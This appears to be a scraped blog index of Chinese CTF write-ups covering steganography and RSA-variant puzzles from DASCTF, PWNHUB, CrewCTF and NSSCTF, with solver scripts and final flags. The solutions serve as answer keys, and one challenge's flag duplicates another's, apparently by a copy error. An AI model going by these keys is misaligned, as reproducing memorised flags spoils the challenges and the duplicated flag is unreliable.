1.零宽解出字符 22*160。 ​ 2.k值很长,猜测是塔珀自指公式 。 ​ 脚本改改参数即可: 123456789101112131415161718192021222324import numpy as npimport matplotlib.pyplot as pltfrom PIL import Imagedef Tupper_self_referential_formula(k): aa = np.zeros((22, 160)) def f(x, y): y += k a1 = 2 ** -(-22 * x - y % 22) a2 = (y // 22) // a1 return 1 if a2 % 2 > 0.5 else 0 for y in range(22): for x in range(160): aa[y, x] = f(x, y) return aa[:, ::-1]k = 92898203278702907929705938676672021500394791427205757369123489204565300324859717082409892641951206664564991991489354661871425872649524078000948199832659815275909285198829276929014694628110159824930931595166203271443269827449505707655085842563682060910813942504507936625555735585913273575050118552353192682955310220323463465408645422334101446471078933149287336241772448338428740302833855616421538520769267636119285948674549756604384946996184385407505456168240123319785800909933214695711828013483981731933773017336944656397583872267126767778549745087854794302808950100966582558761224454242018467578959766617176016660101690140279961968740323327369347164623746391335756442566959352876706364265509834319910419399748338894746638758652286771979896573695823608678008814861640308571256880794312652055957150464513950305355055495262375870102898500643010471425931450046440860841589302890250456138060738689526283389256801969190204127358098408264204643882520969704221896973544620102494391269663693407573658064279947688509910028257209987991480259150865283245150325813888942058aa = Tupper_self_referential_formula(k)plt.figure(figsize=(15, 10))plt.imshow(aa, origin='lower')plt.savefig("tupper.png")img = Image.open('tupper.png')# 翻转dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)plt.imshow(dst1)plt.show() ​ 得到的图片中可见参数33,121,144,做一个arnold置乱(a=121,b=144),但33貌似没有用,因为第一轮就可以得到flag了: ​ 脚本:Arnold-Python 123456789101112131415161718import numpy as npimport cv2r = 800 # 图像宽高a = 121b = 144img = cv2.imread("flag.png", 1)p = np.zeros([r, r, 3], np.uint8)def dearnold(img): for x in range(0, r): for y in range(0, r): xx = -((a * b + 1) * x - b * y) % r yy = -(-a * x + y) % r p[xx][yy] = img[x][y] return pfor i in range(0, 33): p = dearnold(img) img = p cv2.imwrite(str(i) + ".png",p) 冰墩墩​ 脚本解压: 1234567import zipfilezipfilename = 'BinDunDun.zip'z = zipfile.ZipFile(zipfilename, 'r') # r表示解压name_list = z.namelist() # 压缩包内的文件名,这里就是BinDunDunfor i in name_list: z.extract(i, path='zip\\\\') ​ 有超级多个txt文件,每个txt中含有01序列和下一个txt文件名: 1101000001001011 =>The txt you should view is m9312r95cr.txt # 01序列补成16位刚好是504b ​ 经过观察发现需要把每个txt中的01序列补成16位。用脚本批量处理(套宝的): 12345678910111213141516171819import reflag = ''next = 'zip/BinDunDun/start.txt'i = 0while len(next) != 0: try: # 正则过滤 f = open(next).read() tmp = re.search('(.*) =>',f).group(0) flag += tmp[:-3].zfill(16) tmp = re.search('is (.*)',f).group(0) next = 'zip/BinDunDun/'+ tmp[3:] i += 1 print(f,i,next) except: f2 = open('out.txt','w') f2.write(flag) exit(0) ​ 二进制序列转hex,发现是zip文件: ​ 存一下,解压得到pyc和jpg,pyc隐写得到payload:$BingD@nD@n_in_BeiJing_Winter_Olympics$ ​ 最后利用这个作为密码进行jphs05隐写seek得到base64:$REFTQ1RGe0dvb2RfSm9kX0dpdmVfVGhlX0ZGRkZMQGdfVG9fWW91IX0=$ ​ 解码得:$DASCTF{Good_Jod_Give_The_FFFFL@g_To_You!}$ CRYPTOeasy_real​ 签到。 12345678910111213141516171819202122232425262728from hashlib import *from gmpy2 import *from Crypto.Util.number import *# e_hash = '37693cfc748049e45d87b8c7d8b9aacd'# for i in range(100):# if e_hash == md5(str(i).encode()).hexdigest():# print(i)e = 23n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523c = 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397p = 64310413306776406422334034047152581900365687374336418863191177338901198608319q = n//p# 解cryptophi = (p-1) * (q-1)d = invert(e,phi)cry = long_to_bytes(pow(c,d,n))print(cry)cry = b'ndios_;9kgE;WK8e;W?gWn<\\\\;k|nu'flag = ''for i in range(10): for j in cry: flag = flag + chr(j^i) print(flag)# flag{W31coM3_C0m3_7o_f4T3ctf}","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"DASCTFXFATE2022","slug":"buu/DASCTFXFATE2022","permalink":"http://example.com/categories/buu/DASCTFXFATE2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"PWNHUB春季赛2022","slug":"pwnhub春季赛2022","date":"2022-04-26T00:23:09.000Z","updated":"2022-04-26T02:20:28.000Z","comments":true,"path":"2022/04/26/pwnhub春季赛2022/","link":"","permalink":"http://example.com/2022/04/26/pwnhub%E6%98%A5%E5%AD%A3%E8%B5%9B2022/","excerpt":"​ 此次hash,佩奇师傅和我一起参加了pwnhub春季赛,卷了两天还是不敌Nu1L,0ops等超级战队,最终获得第七。不管怎么说,被两位师傅带飞,真是太开心了2333,自己也学到很多东西,以后继续加油。这里记录crypto和misc(hash’s wp)。","text":"​ 此次hash,佩奇师傅和我一起参加了pwnhub春季赛,卷了两天还是不敌Nu1L,0ops等超级战队,最终获得第七。不管怎么说,被两位师傅带飞,真是太开心了2333,自己也学到很多东西,以后继续加油。这里记录crypto和misc(hash’s wp)。 CryptorootRSAn是素数 e与phi不互素,公因子为2,考虑直接在求逆元的时候phi除2, $ed=k\\frac{φ}{2}+1=>c^d=m^{k\\frac{φ}{2}+1}$n $m^{\\frac{φ}{2}}$只有可能是1或-1,$=>c^d=m~or~n-m$ 1234567891011import gmpy2from Crypto.Util.number import *n=12550665024378930760414751134790360813045951256998070524733380516320863892820588959446247471740157454369275132333022529896652239978885827346520768307232891e=16c=763948541935065669070177590784664764389876210884755820620803919845599976738581612129194042330620496257282174257848945066377803831435064827047454497131887phi=n-1d=gmpy2.invert(e,phi//2)m=pow(c,d,n)print(long_to_bytes(m))#flag{9eea787de20e84cba3eed5bf99730bd0} ezmat前一半是Hidden Subset Sum Problem 过程不是很懂,或许可以参考这篇文章 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788#sageimport astf = open('output.txt','r')p = eval(f.readline()[3:])h = eval(f.readline()[3:])m = len(h)n = 60# orthogonal latticeB = matrix(h).T.augment(matrix.identity(m)).stack(vector([p] + [0] * m))nr = m - nprint("start BKZ", B.dimensions())# ortho = B.LLL()[:nr, 1:]ortho = B.BKZ()[:nr, 1:]print(ortho)# print(ortho * A.T) # first nr rows are zeros# exit()R = ortho.T.augment(matrix.identity(m))# print('after')# print((A*R)[:,:nr])# print('after nr')# print((A*R)[:,nr:])# exit()R[:, :nr] *= 2 ^ 10print("start LLL", R.dimensions())# R = R.BKZ(algorithm="NTL")R = R.LLL()print("=" * 10)goodvecs = []for row in R: if any([x != 0 for x in row[:nr]]): continue if all(-1 <= x <= 1 for x in row): goodvecs.append(row[nr:]) print(row[nr:])print("gvecs", len(goodvecs))def is_good(v): if all([x == 0 for x in v]): return None if all([0 <= x <= 1 for x in v]): return tuple(v) if all([-1 <= x <= 0 for x in v]): return tuple(-v)print("find 01 basis")from itertools import productfrom tqdm import tqdmavecs = set()for v in goodvecs: if all(0 <= x <= 1 for x in v): avecs.add(tuple(v)) bestvec = vprint(len(avecs))for v1 in tqdm(goodvecs): for v2 in goodvecs: for coef in product([-1, 0, 1], repeat=3): vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec if any([x < 0 for x in vv]): vv = -vv if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0: avecs.add(tuple(vv)) if len(avecs) == n: breakprint(len(avecs))avecs = list(avecs)AT = matrix(ZZ, avecs).Tx = AT.change_ring(Zmod(p)).solve_right(vector(h)).change_ring(ZZ)from Crypto.Util.number import *for i in range(60): temp=list(AT.T[i]) bin_m1 = ''.join(list((map(str, temp[:167])))).rjust(168,'0') print(long_to_bytes(int(bin_m1,2)))#flag{634b9828-aa75-11 第二部分相当于RSA在矩阵上的实现,实际上只需找一个矩阵乘法循环群在GF(p)上的阶,即|GL~n~(p)| 最终得到一个类似于数域上phi的表达式 $ord|\\prod_{i=0}^{n-1}(p^n-p^i)$ 直接照着RSA的过程做就行 123456789101112131415161718192021#sagefrom Crypto.Util.number import *f = open('output.txt','r')p = eval(f.readline()[3:])w = eval(f.readline()[3:])M =eval(f.readline()[4:])M=Matrix(GF(2),M)phi=1for i in range(330): phi*=2^330-2^ie=65537g=GCD(e^100,phi)d=inverse(e,phi//g)m=M^dfor i in range(330): temp=list(m[i]) bin_m1 = ''.join(list((map(str, temp[:167])))).rjust(168,'0') print(long_to_bytes(int(bin_m1,2)))#ec-ad2c-00155d24943f} ezRSA实际上就是一个椭圆曲线群上的RSA问题,为啥这么喜欢出非数域群上的RSA 所以只需要将n进行分解即可 根据方程$y^2=x^3+(p+q)x+p^2+\\frac{q-1}{2}(mod~n)$ 两边同时乘q,消掉n后把q除掉得到等式 $(2x+1)q-(2(y^2-x^3)+1)=0(mod~p)$ p为1024bits,q是512bits,直接copper就行 最后需要求模n下椭圆曲线群的阶,猜的话直接猜p下阶和q下阶的乘积就行 翻paper找到的阶数#E~n~=#E~p~×#E~q~ 1024比特素数域下的阶有点难跑,差不多整了一个小时吧 12345678910111213141516171819#sageimport gmpy2x,y=(338555080220637081961629108201515088631648910827927160728143665306856840891283037339677849661861227903908933145477264046446986150577658634798201036502060805774599658207669111688439996110692201008037849119605962378316457201998475046620515963725786423440494993922281942396227626532022005579340476627086260000576524772862121364339849726687865874619472513654142054490221489754144358483093331358263771080584662872680106076787261957704707055652825959314984924849600101, 936859805496385391559236776246883920797971062581544240268575675825570737296851006237870839271568976317212531276234406232945021531066674291887782791534409966305833225084692612867437424551505174720475931132798839349207246806850341280754752239303350596733681932273450149927797735966407187594725231158980098119489003450563623494155562513634618466910170109518754662675054081897025489520391417883488720972781393802142478712026232107041683271177224983497203599032383279)n=988000511804778695813521569460767024014375863209856154754147082419975777208656083311740358048468580712106204105426217752071608551112269505247365548210006567296850568411531004204795967810292432041395592133501302461324005142940183488044983348152371980166614840414803124031222965874472013554869981954785271467321919039144942853506143787908194930700818770224752026306092706366253640515130802157497666497193713819097381223915943111321812676982912146706199692543488639e = 0x10001PR.<t>=PolynomialRing(Zmod(n))f=(2*x+1)*t-(2*(y^2-x^3)+1)f=f.monic()q=int(f.small_roots(X=2^512,beta=0.66,epsilon=0.05)[0])p=n//qE = EllipticCurve(Zmod(n), [p+q, p^2+(q-1)//2])ord1=6855192886546913083681222574678665050135391949965285975146135828115325275541697293384823154969044166686748375254337473827633716503099373916062802135744940ord2=144124392727693582180721020059571309401371450244791136032830630083498715102652723003947343817176211175903247642131045942369687053495080809769954262316918844452268262450578732948830901662726788794480021021018409168738053922485515917280245423459001897063629559133512702989322938763296063139634992297531810955826phi=ord1*ord2d=gmpy2.invert(e,phi)A=E(x,y)print(d*A)#flag{0f02b65a-ab26-11ec-829c-00155d24943f} Misc眼神得好用stegsolve分析,利用Stereogram Solver进行像素偏移,偏移足够大以后发现flag。 被偷的flag​ 这题做了一大半,最后没出非常可惜QWQ。 ​ 开局一张jpg,直接用stegsolve在每个通道查看,发现了二维码,扫码得到部分信息:1e:))} ​ ​ 发现数据段有zip,所以直接进行一波foremost分离,得到压缩包和一套字典,显然用字典攻击可以得到密码,解压得到txt和一个pyc。 ​ txt包含零宽字符,在线网站解得字符Unc 1小明发现叔叔的桌子上一张字条,上面写着[绝密],便悄悄偷了过来。拆开了纸条并进行了查看,竟然真的是flag,flag居然就在这里!。为了隐藏自己的行为,小明把纸条揣进兜里,丢到了洗衣机,然后把flag分成了4部分藏了起来。叔叔回来后找不到纸条了,就去查看了监控,发现是小明拿走了纸条。小明随后拿出经过洗衣机摧残的纸条,打开发现上面的文字都模糊了。上面写着:"flag{32145(‌‌‌‌‍‍‍‍****-*‌‌‌‌‍‬ ‬***U****:‌‌‌‌‍‬‌ ))}"。你能帮叔叔找到flag吗。 ​ 一直到这步我都是对的,下一步纯属知识面的问题,拿到pyc第一想法肯定是反编译,但实际上他是一个pyc隐写…参考博客,总之直接用stegosaurus提取出extra字符:VqtS-HZ&* ​ 这里有个小坑,工具暂未支持py3.9版本,切换了成3.7,成功解决。 ​ 之后用base85解密得到字符 base64( ​ 32145联系题目可知是Polybius,32对应m,14对应d,意思是md5 ​ 综上所述,flag{md5(base64(Uncle:))} ​","categories":[{"name":"PWNHUB","slug":"PWNHUB","permalink":"http://example.com/categories/PWNHUB/"},{"name":"春季赛","slug":"PWNHUB/春季赛","permalink":"http://example.com/categories/PWNHUB/%E6%98%A5%E5%AD%A3%E8%B5%9B/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"pwnhub","slug":"pwnhub","permalink":"http://example.com/tags/pwnhub/"}]},{"title":"CrewCTF2022","slug":"CrewCTF2022","date":"2022-04-18T01:57:01.000Z","updated":"2022-04-18T03:35:54.000Z","comments":true,"path":"2022/04/18/CrewCTF2022/","link":"","permalink":"http://example.com/2022/04/18/CrewCTF2022/","excerpt":"​ 前天在忙着参加*CTF的个人考核,这个比赛只有昨天一天看看题,这个队伍貌似是国际强队(ctftime前五),题目出的较好,还有三题没做希望赛后能够复现.","text":"​ 前天在忙着参加*CTF的个人考核,这个比赛只有昨天一天看看题,这个队伍貌似是国际强队(ctftime前五),题目出的较好,还有三题没做希望赛后能够复现. ez-x0r​ 附件: 1BRQDER1VHDkeVhQ5BRQfFhIJGw== ​ 附件是一串base64,解密出来是包含控制字符的字节: 1b'\\x05\\x14\\x03\\x11\\x1dU\\x1c9\\x1eV\\x149\\x05\\x14\\x1f\\x16\\x12\\t\\x1b' ​ 题目是异或操作,那么猜测flag就是上边的字节和key异或得到的,但不知道key,可以用flag的起始格式”crew{“来和字节异或得到key: 123456# getkeyc1 = b64decode(c)print(c1)m = 'crew{'for i in m: print(chr(ord(i)^c1[m.index(i)])) ​ 发现key的每一位都是字符f。遂用脚本解密,完整脚本为: 1234567891011121314151617from base64 import b64decodet = 'f'*30c = 'BRQDER1VHDkeVhQ5BRQfFhIJGw=='# getkeyc1 = b64decode(c)print(c1)m = 'crew{'for i in m: print(chr(ord(i)^c1[m.index(i)]))# getflagfor i in c1: j = i^ord(t[c1.index(i)]) print(chr(j),end='')# crew{3z_x0r_crypto} Malleable Metal1234567891011121314151617181920from Crypto.PublicKey import RSAfrom Crypto.Util.number import bytes_to_longimport randomimport binasciifrom secret import flage = 3BITSIZE = 8192key = RSA.generate(BITSIZE)n = key.nflag = bytes_to_long(flag)m = floor(BITSIZE/(e*e)) - 400assert (m < BITSIZE - len(bin(flag)[2:]))r1 = random.randint(1,pow(2,m))r2 = random.randint(r1,pow(2,m))msg1 = pow(2,m)*flag + r1msg2 = pow(2,m)*flag + r2C1 = Integer(pow(msg1,e,n))C2 = Integer(pow(msg2,e,n))print(f'{n = }\\n{C1 = }\\n{C2 = }') ​ 题目本身考查的是copper,但因为位数没调好,直接非预期就出了. 12345678910111213141516171819202122from gmpy2 import *from Crypto.Util.number import *import randomBITSIZE = 8192n = 823652328526060931201375649241006048943627312591742662481083103378002522077877852124731191042617160616707714556599692967069663667698601996983528940331840856212083763983210643933408040552418340463683380557808507002495230815546453104038740886365473259236836768987811419579308089803722619415774848441151249684528573808701348303730672001325400435253430057941264536553439343549378798471521843765967413899839467956313753964739101523564712402586172009670872793597148015854112713073516537134244622001863136944934492241145306737850771111625635504275979597201321615004183224138178242850606020061860874365891414739635021953470569531263648279914661978749409495850032838932287660547294983608500552408270453150111004704982673000064474229357303826290412232101668643442191345117752836713723186345029858940323602239828980619674790421554523298312252632246856653570861376722546483845572057592874642653507921669598604980999675710944351125800581153679737947035951167396427406664211538456926422574733908468243848301080202616710219948021550303624199272309262465841979895988543037749409344273271528685813232663250051559875409936374630801262025889212026998068310718442102601557388789291924368011403387710015947533663816312246609754580679612583443687679604653697210741383870120265666560114312552082718765229857906075466911647146394186461224534740685587572846934610230530077015354170886197688407248753878297395666994564903309464938353409270895657559261894379593177576322878056778321362020242262629594237747578073010697822390042229221755183530894661801846645578606229378188194698297341498164221255458973569036112042793665638020083355322818801649079577206155596664351547761867936241825962264402061264130743855926770190009644935373522637016531313612905118696369479379392748765790270985780979092810127202612369788297683386941277137962371308477169065442960974519121200614968578299255908217109555425373639991249942561881066593925137769635916819686179968920303847549317832449280869569173490086055713440659573036379376871313591502012736961740953226823792006776306025493582816361497869257717651668075570919074032100188984609089237083774415809378590512597855039607625398955711313352280354581208986236739705133090250836743923077744209886105632205516098409509945870967048379575392597005574605671295696290105152505109115729545462303929321064678575733744453013844396847747874774560936394947704938716022268449263762808882912779863563062087323815155503567025604594567944510834845389179609006394130719657363087C1 = 138604270237134534112743212644616449187692378939637896055320936677529897960835117799077267347298678107031857708834234867949004008866584408288272718174944005247281182704110071985982762860316789278723189738430436690943806868878982562799129736576593875631850056775539229239799682738700710216806174002449616599477466210310386600736499714740361747969973718347095697189605303148613119104798603461313289164107162759182110107568729898709265252329895862170091572165860623096748730108315029720395180483240857815537765987240293780559413621634616731611457999105645890254616180108684484111551400204145466579713376335168837095473428132610657311922576659063964864816927637794472255883920363962994040086056352213615355155336047742875321877777043584327913192448537029767660816802421871457551873100279391823455263903450304034557919732645143487533538943198997776987742643929566403463889152262047049873409325737357390275038091407938919150758822963329761264354005399142689352595527066743969291045496548965996410916410974600827179080229802502026992567559903302198282019316525974045236753071662259094177004561587843521123352176047829889922474932560434065169177898287264496750729243672C2 = 138604270237134534112743212644616449187692378939637896055320936677529897960835117799077267347298678107031857708834234867949004008866584408288272718174944005247281182704110071985982762860316789278723189738430436690943806868878982562801315565156426103645734001592666235894224346424366448014174339619953344112868374944069699668659552171905796026764359565068714399719527680623357405851675409955573477228301886561411896147227291350808930951282598922176120977605666135963906053158934308125639347521515926780372069545707019601637468577493997742590807146827349865640857651027809446746299962731018358206171079317925725680542147150070051957133849278906576405074966481232057919403951090124732230438431203080079109828298282999845576767904877434936923847105040157703725014937676457110907557409863930279230474134789746314617582331031090955073528453085567165286271224442421785911327002274933133905582320854345262688022854226418394665705506630780960278867388105443056536999414456768050350078505683642885335398895190922264436040594316438930099159076822113725497974332635130516805301785291427363314598707750026963533325470071715793252887081074252099626695293515248472454824781000e = 3msg1 = iroot(C1,3)[0]msg2 = iroot(C2,3)[0]# floor是舍掉小数位m = floor(BITSIZE/(e*e)) - 400# print(m) 510m = int(m)# r1为509位长r1 = random.randint(1,pow(2,m))# 2^510 * flag + r1 =msg1 直接等式两端同时除以2^510 就能解出flag 属于非预期了flag = int(msg1//pow(2,m))print(flag)print(long_to_bytes(flag))# crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?} The HUGE echall.py:123456789101112131415161718192021222324252627282930from Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrimefrom secret import flagm = bytes_to_long(flag)def getSpecialPrime(): a = 2 for i in range(40): a*=getPrime(20) while True: b = getPrime(20) if isPrime(a*b+1): return a*b+1p = getSpecialPrime() #等于a*b+1e1 = getPrime(128)e2 = getPrime(128)e3 = getPrime(128)e = pow(e1,pow(e2,e3))c = pow(m,e,p)assert pow(c,inverse(e,p-1),p) == mprint(f'p = {p}')print(f'e1 = {e1}')print(f'e2 = {e2}')print(f'e3 = {e3}')print(f'c = {c}') out.txt:12345p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823e1 = 219560036291700924162367491740680392841e2 = 325829142086458078752836113369745585569e3 = 237262361171684477270779152881433264701c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613 ​ 由assert pow(c,inverse(e,p-1),p) == m可知,解密的d就等于inverse(e,p-1),但是e又等于pow(e1,pow(e2,e3)),是非常大的数,不做mod无法计算出,但是求e对p-1的逆可以先让e模p-1再计算逆,e的求模过程如下: e'= e\\mod (p-1) e = e1^x x = e_{2} ^ e3​ 这里可以用一次费马小定理,让x模一个phi(p-1),然后计算,而p-1是由小素数乘积得到的,直接用factor就能分解,分解以后计算phi即可.exp: 1234567891011121314151617181920from gmpy2 import *from Crypto.Util.number import *p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823e1 = 219560036291700924162367491740680392841e2 = 325829142086458078752836113369745585569e3 = 237262361171684477270779152881433264701c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613s = '2 · 525923 · 527179 · 561343 · 589289 · 593111 · 641167 · 642049 · 650911 · 659999 · 683273 · 716783 · 722333 · 723529 · 735997 · 743657 · 744959 · 745201 · 765229 · 768727 · 769781 · 791309 · 811729 · 815809 · 836609 · 845771 · 850807 · 862369 · 887233 · 912337 · 915479 · 931487 · 953399 · 961817 · 968761 · 993103 · 1002109 · 1023163 · 1024277 · 1025741 · 1025839 · 1028263'.split(' · ')fac = []phi0 = 1for i in s: phi0 = phi0*(int(i)-1)d = invert(pow(e1,pow(e2,e3,phi0),p-1),p-1)print(d)print(long_to_bytes(pow(c,d,p)))# crew{7hi5_1s_4_5ma11er_numb3r_7han_7h3_Gr4ham_numb3r} toydl​ 交互给了公钥,和一堆和特殊的小明文,小密文: ​ 观察发现有些x有这样的关系:pow(a,x1,n) = b pow(b,x2,n) = a 这说明: x1*x2 \\equiv ed \\equiv1 \\mod n​ 那么只需要找几组这样的x1 x2计算x1x2-1,再求gcd,gcd即为phi的k倍,运气好的话,可能就是phi,如果不是phi的话可以除以k(遍历) exp: 12345678910111213141516171819202122from gmpy2 import *from Crypto.Util.number import *x1 = 134708117198344874261125314974182727568088134053281049354376709747988579384600912131211450480045782430715324382771422260007313006900701806793092647235108324716788897983475072198815299403824599364700003540857062620416656719289451522128979786496642869963380933115749533816080182781455452633022349349201815382032599917x2 = 202062175797517311391687972461274091352132201079921574031565064621982869076901368196817175720068673646072986574157133390010969510351052710189638970852662487075183346975212608298222949105736899047050005311285593930624985078934177283193469679744964304945071399673624300724120274172183178949533524023802723073048899876x3 = 171260728235050785156132730076149119670208819070115598198719296433813625501105636445924430987712300243633043858027259611952611765654480081780358809764360185710044676819615876561047630591442074360621967667473477342695141890520740349131024835812602860040039145891906920866345974923058145749304855309406692793407741583x4 = 200032521404587246567254200600711760826389875379165150397013059631648205786415014618166499321854165766261234252173880424025112297275963958059290100235018881995397594378373796852172203545163507734401209109286838292556818973523889478416685241928680782369919404784828097287294095207805828704282026887374224477699365749kphi1 = x1*x2-1kphi2 = x3*x4-1e = 65537n = 1616497406380138491133503779690192730817057608639372592252520516975862952615210945574537405760549389168583892593257067120087756082808421681517111766821299898406140165578044670375631111376738910879062957482159564936855771411852877194121566364820768099990998260313903643849753803317252919830952992383066880828005875017c = 1130532517825519479130381004085268339474035118115829225696514522310776730318147700377221603337245401091452518784299726171598333570292109329806114629724566207717052670629170022638782995856892709748078107193105711596936798857638476662400307716137670955272389571708458372033883275664790451293457040269142716857976313491phi = gcd(kphi2,kphi1)d = invert(e,phi)print(long_to_bytes(pow(c,d,n)))# crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CrewCTF2022","slug":"赛事/CrewCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CrewCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"威尔逊定理","slug":"威尔逊定理","date":"2022-04-15T01:06:53.000Z","updated":"2022-04-15T01:47:40.000Z","comments":true,"path":"2022/04/15/威尔逊定理/","link":"","permalink":"http://example.com/2022/04/15/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/","excerpt":"​ 威尔逊定理: (p-1)!\\equiv -1(modp)​ 有时候可以用这个结论来化简一些式子达到简化运算的目的。之前遇到过很多次,总结一下。 ​ 比如[长安杯 2021]checkin。 ​","text":"​ 威尔逊定理: (p-1)!\\equiv -1(modp)​ 有时候可以用这个结论来化简一些式子达到简化运算的目的。之前遇到过很多次,总结一下。 ​ 比如[长安杯 2021]checkin。 ​ 1234567891011121314from Crypto.Util.number import *from secret import flagp = getPrime(1024)q = getPrime(16)n = p*qm = bytes_to_long(flag)for i in range(1,p-q): m = m*i%ne = 1049print(pow(2,e,n))print(pow(m,e,n))#4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377#3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270 ​ 1.由c1 = pow(2,e,n)得2^e-c1=kn,又由于q是一个16位的素数,所以可以直接枚举q进行分解。得到q以后,可以算出kp=kn//q。 ​ 2.分解kp(factor或者简单遍历) ​ 3.求私钥d以后解出m,m和flag的关系为: m=flag*(p-q-1)!​ 4.构造威尔逊定理的格式: m*(p-q)*(p-q+1)...*(p-1)\\equiv flag*(p-1)!\\equiv -flag(modp)​ 5.对结果求modp的逆得到flag ​ exp: 1234567891011121314151617181920212223242526272829303132333435from gmpy2 import *from Crypto.Util.number import *# 简单的分解算法def yaf(kp): for i in range(2,1000): if kp % i == 0: p = kp // i if isPrime(p): return p else: return yaf(p)c1 = 4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377c2 = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270e = 1049kn = 2**e - c1for i in range(2**15,2**16): if kn % i == 0 and isPrime(i): q = i kp = kn // qp = yaf(kp)n = p*qphi = (p-1)*(q-1)d = invert(e,phi)m = pow(c2,d,n)for i in range(p-q, p): m = m * i % pprint(long_to_bytes(m*invert(-1, p) %p))# b"flag{7h3_73rr1b13_7h1ng_15_7h47_7h3_p457_c4n'7_b3_70rn_0u7_by_175_r0075}"","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"威尔逊定理","slug":"比赛/RSA/威尔逊定理","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"威尔逊定理","slug":"威尔逊定理","permalink":"http://example.com/tags/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/"}]},{"title":"NSSCTF-SWPU","slug":"NSSCTF-SWPU","date":"2022-04-14T01:38:05.000Z","updated":"2022-04-14T02:40:26.000Z","comments":true,"path":"2022/04/14/NSSCTF-SWPU/","link":"","permalink":"http://example.com/2022/04/14/NSSCTF-SWPU/","excerpt":"​ 花了半天的时间,把NSSCTF上SWPU的题目做了一遍,做一些总结。","text":"​ 花了半天的时间,把NSSCTF上SWPU的题目做了一遍,做一些总结。 happy1234('c=', '0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9eL')('e=', '0x872a335')#q + q*p^3 =1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586#qp + q *p^2 = 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594 ​ z3直接解方程,这里很容易上当,以为两个大数求gcd就是q,实际上并不是。 12345678910111213141516171819import binasciiimport gmpy2from z3 import *s = Solver()p=Int('p')q=Int('q')s.add(q+q*p**3 == 1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586)s.add(p*q+q*p**2 ==1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594)if s.check() == sat: print(s.model())n=0x989f5774c6f199031dc64d5aad7907665ea5e03cde2d74da21e=0x872a335c=0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9ep = 1158310153629932205401500375817q = 827089796345539312201480770649phi=(p-1)*(q-1)d=gmpy2.invert(e,phi)m=pow(c,d,n)print(binascii.unhexlify(hex(m)[2:].strip("L"))) traditional12345678910题目:西方的二进制数学的发明者莱布尼茨,从中国的八卦图当中受到启发,演绎并推论出了数学矩阵,最后创造的二进制数学。二进制数学的诞生为计算机的发明奠定了理论基础。而计算机现在改变了我们整个世界,改变了我们生活,而他的源头却是来自于八卦图。现在,给你一组由八卦图方位组成的密文,你能破解出其中的含义吗? 震坤艮 震艮震 坤巽坤 坤巽震 震巽兑 震艮震 震离艮 震离艮 